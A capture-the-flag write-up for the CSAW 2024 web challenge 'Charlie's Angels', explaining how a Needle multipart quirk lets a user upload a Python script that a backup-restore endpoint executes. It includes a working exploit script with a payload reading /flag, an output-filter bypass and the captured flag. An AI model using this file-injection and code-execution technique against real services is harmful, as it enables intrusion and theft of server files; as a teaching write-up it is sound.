4 KiB
| title | date | tags | ||
|---|---|---|---|---|
| CSAW CTF 2024 Quals: Web - Charlie's Angels | 2024/09/09 |
|
Task
The way that this franchise has fundamentally changed me...
Author: ViePoints: 423Solves: 112 / 1181 (9.483%)
Writeup
The challenge presents us with a website where we can click a link and get some JSON data about an angel.
Looking at the provided source code, we can see that part of the backend is written in JavaScript (index.js) while the other half is written in Python (app.py).
The most interesting part is the /restore endpoint of app.py, which will start a Python subprocess of some file that we presumably can create. However, only the JavaScript code is publicly accessible, so we can only interact with the Python code indirectly through index.js.
Working backwards, we can see that /restore checks the id parameter passed to it, and if the Python script backups/{id}.py exists, it will run it and return the output produced, as long as it does not contain the flag prefix. The only way we can create such a file is through app.py's /backup route, which will save files uploaded to it if provided.
If we look at the corresponding route in index.js that calls /backup though, we see that it only seems to send some JSON data instead of a file:
...
const data = {
id: req.sessionID,
angel: req.session.angel
};
const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary}, (error, response) => {
...
However, reading the documentation for the Needle library used to send the request tells us that Needle will interpret certain objects as file uploads. The most relevant example is as follows:
var buffer = fs.readFileSync('/path/to/package.zip');
var data = {
zip_file: {
buffer : buffer,
filename : 'mypackage.zip',
content_type : 'application/octet-stream'
}
}
When we send a POST request to /angel, the fields of the angel parameter first checked to be strings, except for talents, and are saved to req.session.angel. Therefore, we can send the following JSON data to upload a script to read the flag:
{
"angel": {
"talents": {
"buffer": "print(__import__('pathlib').Path('/flag').read_text())",
"content_type": "text/plain",
"filename": "filename.py"
}
}
}
There are a few more details we need to address though. For the name of the file accessed by /restore, we can see that the server will only ever look at a specific file determined by our session ID. We can very easily find this ID out though, so this is not an issue. The other issue is the check that the server performs on the output for the flag. This is trivially bypassed though by just outputting a substring of the flag starting at the second character.
The following script will send the proper requests and get us the flag:
import requests
# use a session to keep cookies
ses = requests.Session()
url = 'https://charliesangels.ctf.csaw.io'
# get the session cookie and determine the id
req = ses.get(url + '/angel')
session_id = req.json()['id']
# data we will send to /angel to upload a file
json = {
'angel': {
'talents': {
'buffer': 'print(__import__("pathlib").Path("/flag").read_text()[1:])',
'content_type': 'text/plain',
'filename': session_id + '.py'
}
}
}
# upload the file
ses.post(url + '/angel', json=json)
# get the output of our script
flag = ses.get(url + '/restore').text
print(flag)
# output: b'sawctf{good_morning_angels!_GOOD_MORNING_CHARLIE!!}\n'
Adding the missing c to the start of the flag, we get csawctf{good_morning_angels!_GOOD_MORNING_CHARLIE!!} as the flag.